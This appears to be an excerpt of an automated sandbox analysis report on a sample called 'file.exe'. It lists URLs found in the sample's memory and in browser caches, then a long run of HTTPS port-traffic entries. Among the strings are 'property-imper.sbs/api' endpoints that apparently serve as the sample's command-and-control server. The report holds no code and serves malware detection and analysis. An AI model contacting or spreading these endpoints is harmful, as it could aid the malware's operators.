Source: chromecache_123.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2182466977.0000000005498000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2181285813.0000000005494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2182466977.0000000005498000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2181285813.0000000005494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2182466977.0000000005498000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2181285813.0000000005494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2182466977.0000000005498000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2181285813.0000000005494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2181285813.0000000005494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_123.5.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: file.exe, file.exe, 00000000.00000003.2362103166.0000000000E1A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2361975873.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: file.exe, file.exe, 00000000.00000003.2214860738.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2362167031.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156005934.0000000005497000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156061561.0000000005498000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2364721081.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: file.exe, 00000000.00000003.2156005934.0000000005497000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156061561.0000000005498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api1
Source: file.exe, 00000000.00000003.2156005934.0000000005497000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156061561.0000000005498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apix
Source: chromecache_106.5.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2158403692.0000000005531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2158403692.0000000005531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_106.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2182466977.0000000005498000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2181285813.0000000005494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000003.2182466977.0000000005498000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2181285813.0000000005494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_115.5.dr, chromecache_106.5.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2158403692.0000000005531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2158403692.0000000005531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2158403692.0000000005531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2158403692.0000000005531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2158403692.0000000005531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2158403692.0000000005531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
